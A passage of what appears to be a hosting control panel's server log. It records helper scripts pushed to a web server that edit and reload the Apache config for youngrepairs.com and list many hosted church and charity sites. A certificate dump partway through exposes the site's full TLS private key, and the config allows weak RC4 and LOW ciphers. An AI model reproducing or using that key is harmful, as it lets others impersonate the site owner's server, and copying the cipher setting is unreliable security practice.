			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-29 19:49:02: 

chmod 755 /tmp/pkp473500; /tmp/pkp473500; rm /tmp/pkp473500

2026-04-29 19:49:02: 


dir=/etc/ssl/certs


2026-04-29 19:49:02: 

PUT: /tmp/pkp295555

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/youngrepairs_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-29 19:49:02: 

chmod 755 /tmp/pkp295555; /tmp/pkp295555; rm /tmp/pkp295555

2026-04-29 19:49:02: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/youngrepairs_www_com.conf 44

<VirtualHost *:80>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2026-04-29 19:49:02: 

PUT: /tmp/pkp886549

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=youngrepairs_www_com.conf
TARGET=/etc/apache2/sites-enabled/youngrepairs_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/youngrepairs_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/youngrepairs_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/youngrepairs_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/youngrepairs_www_com.conf= 1'
fi


2026-04-29 19:49:02: 

chmod 755 /tmp/pkp886549; /tmp/pkp886549; rm /tmp/pkp886549

2026-04-29 19:49:02: 




2026-04-29 19:49:02: 

PUT: /tmp/pkp913476

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-29 19:49:02: 

chmod 755 /tmp/pkp913476; /tmp/pkp913476; rm /tmp/pkp913476

2026-04-29 19:49:02: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-29 19:49:02: Establishing a connection
2026-04-29 19:49:02: 

PUT: /tmp/pkp500024

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-29 19:49:02: 

chmod 755 /tmp/pkp500024; /tmp/pkp500024; rm /tmp/pkp500024

2026-04-29 19:49:02: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
         port 80 namevhost youngrepairs.com (/etc/apache2/sites-enabled/youngrepairs_www_com.conf:2)
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.vards.info
         port 443 namevhost youngrepairs.com (/etc/apache2/sites-enabled/youngrepairs_www_com.conf:26)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-29 19:49:02: 

PUT: /tmp/pkp372081

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/youngrepairs_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-29 19:49:02: 

chmod 755 /tmp/pkp372081; /tmp/pkp372081; rm /tmp/pkp372081

2026-04-29 19:49:02: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/youngrepairs_www_com.conf	1577

<VirtualHost *:80>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2026-04-29 19:49:02: 

PUT: /tmp/pkp518492

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-29 19:49:02: 

chmod 755 /tmp/pkp518492; /tmp/pkp518492; rm /tmp/pkp518492

2026-04-29 19:49:02: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt	5352
16:ca:80:50:45:08:f2:ca:79:ce:2f:23:5b:61:f7:99

-----BEGIN CERTIFICATE-----
MIIE+zCCA+OgAwIBAgISBXWdIexBJ7zOljR2U85PbnbCMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDI5MTg1MDMwWhcNMjYwNzI4MTg1MDI5WjAbMRkwFwYDVQQD
ExB5b3VuZ3JlcGFpcnMuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA06yXv3rl6WVMnEZo6oFsvqZA1mRFuRd7CLYJ5CYJ4X8vCAxeVh5iIAzl6iXW
WBXvXvpey/hC9yAxIyI+z04hLbGixmDNXOSFEO78pfZfOUg5Mb+KB/ZusD9eQ6FL
jR0XMlxsFumHlTrcl39XKih3TnhGigG/9koKSivW9hkVcPoR9ZhtuCJ+2FlEMdsQ
8at0nYWXu76w65CD0yJwDvswnVGhneBYTECQuKArCyZMd1rPpOrPfVsbA8xBrk5W
gh8OHWKOSOF5r7+iSg67MemmbnxKiArUQ7Azu3ZRoVLtVvI4nws+70rvpY3mjb84
DoD1ZPUCWQmQwvBVz28AYVOlTwIDAQABo4ICHzCCAhswDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFKie
xWkhPeL1fBCr11WhpvFgh4EZMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiyhA47
1pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIQeW91bmdyZXBhaXJzLmNvbTATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVuY3Iu
b3JnLzY3LmNybDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB3AJROQ4f67MHvgfMZ
JCaoGGUBx9NfOAIBP3JnfVU3LhnYAAABndrJozcAAAQDAEgwRgIhAIm4L+0jq2j0
3zyR2+q7u6aMN7GRe1zoiG9blgwBZf9vAiEApHDqPG8dYLj6G/4N04ZcaiwrUE8H
qKLt5YRpWTDUF1EAfgBs/lAZQ6heqRa8UtEz5NzJHvFBHH0lhCDRc4CeGBjrOgAA
AZ3ayaReAAgAAAUACU0yDAQDAEcwRQIhAOmEPEDQmeiPsHI5QLcAHNYhcbLqEvHO
XsRXK+h/D+EqAiASzI7C9Hzru24fv4Jy+eNXnH0fRR7fOgf2vG02E6g7TDANBgkq
hkiG9w0BAQsFAAOCAQEAayfQdpK26GxZD7tLMNIVZa9MZ7hS2uwKFqfcx3Orxf6G
fGZJT9mfrfQg7XAVIWXqXUlcGvjiDnTug/xw56sbP1T3MPC8q+SLlEG5GJ5qQEQ3
JjHu6iE4CML9I+lF7+SUqWW4wEzbSAfzODDM8seKNR8vif8yuFjm/mrT+sdKPpyf
VG77/0sl0V+Te/LEGeNAZLtaXlWa+UdpklkeGXVB8Epz3XRBC31FQC4QAxFSYTEN
TOkzrdxN4I4o4/rDzvO/RBahp353PdyPvsQbK0Ch1rSSV4aG5TGlkW3CXYWCqRfM
Ib6ap05Ko0rLKrvssOTVnlfydKqLaU4KHlumBXkPEg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDTrJe/euXpZUyc
RmjqgWy+pkDWZEW5F3sItgnkJgnhfy8IDF5WHmIgDOXqJdZYFe9e+l7L+EL3IDEj
Ij7PTiEtsaLGYM1c5IUQ7vyl9l85SDkxv4oH9m6wP15DoUuNHRcyXGwW6YeVOtyX
f1cqKHdOeEaKAb/2SgpKK9b2GRVw+hH1mG24In7YWUQx2xDxq3SdhZe7vrDrkIPT
InAO+zCdUaGd4FhMQJC4oCsLJkx3Ws+k6s99WxsDzEGuTlaCHw4dYo5I4Xmvv6JK
Drsx6aZufEqICtRDsDO7dlGhUu1W8jifCz7vSu+ljeaNvzgOgPVk9QJZCZDC8FXP
bwBhU6VPAgMBAAECggEAIsIJCwK5xRkCuvie2r8U5bt0EyBVCJ8v707BEgsi/Tm+
tdIeHYMQttWXXVsINt+nNk/jiBfEm0LYfr3tVWotbYzpPyz/G91UcmLj7raljUjs
R1x95G/VXjCRoIZYWxwnRnhBsYN4ZYtMVL4uyHfrm2GJp7jA1kbzKJnJSxD0YeAJ
3q31RGTsyyXpUz6AsGWwd0TVDFMacWXnQA35amWR6EbJq3sq8lH0Ua2ejSUc+C/S
7sMtWjipGS3qwuHnr3CRHo6zfb/mwBPxotKNXs2sjPTZ69Y8iHTCY7m4S9AxnHB8
BaN6+pw20lA0AJS7mHJYbB7QrAuYLk1gj9ey/XFw3QKBgQDvkR7P0ukdFZlCh1zH
gE3z5PNwyWoPeLmdHLOJLhfUY6UgQxOHoEGvBLuHsQoHsPauT5DleRj7lvcPFo8H
Msxebdih37uiGxgcESXaeSEDQdrhD5ZwtCHTJTfV/V66TgtJFIrALEietWxMsYob
3gxxyd8Sxjdf0T3OGZ7bpNfVFQKBgQDiMaq6uwfZiLykHS6JmlHu1sZ0nMJ900US
++oCEmFle5A410b7kyCKANOcqUA45bm69R/FtLWPjlm2gTo/R7Rlaj9DGONRS4kq
QvGmtIAxZxfVhnxxxRLGoMefiVjBUpKkXc2jdA/y14iJy9LP0uuODL3UAYbDrJEN
EDcOeo4x0wKBgQCLrZ48Z+l5BrXUH15OB5XrxSrXMOhA2w/F9g0Lx68nK24EkHdb
lWmWpPi+FdAWSeyaF1QRJ3kUf6HOz0VXWhvkVsF/KBabXpbBDpJ2fjdsUcJPhKof
TjeGh2W1w8OudoCH/I0lnOw+dOMPGFjBBMdWtO/2X1G78SDLAQ8pW0RoPQKBgHmJ
kmEPSeJ69FGCVJUfVFLvGGdkK6UMNhtDPLOsSKUMxaulEMDwhxVf6FRPJPDtjuSD
/XRv6vad2FqWCUQjNS0g76kP4GS4H5WTruCSMCdba5UR1CAVckdD8L8qP4Rw59Zl
iK8BF+i2IulXmYiNnoAPHJij0VOmj7HjOpIPDAR9AoGBAIUK8NeFJCyw4pJ2UttG
vWFrRABmWRJ55mM/PYqd60ZRuj0lYHjhOKnfH923ebfC4XIZ3RqKvVa0zx11+3Xg
+mzsMDev1yEkyrFlN9f6VD1dv+Y35PYsGEscSw8gG4JqrhJJ49KFDA+KOYocrEWz
nIhCpPeWxm+EjXuzEyOmt22i
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-04-29 19:49:14: Establishing a connection
2026-04-29 19:49:14: 

PUT: /tmp/pkp977208

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
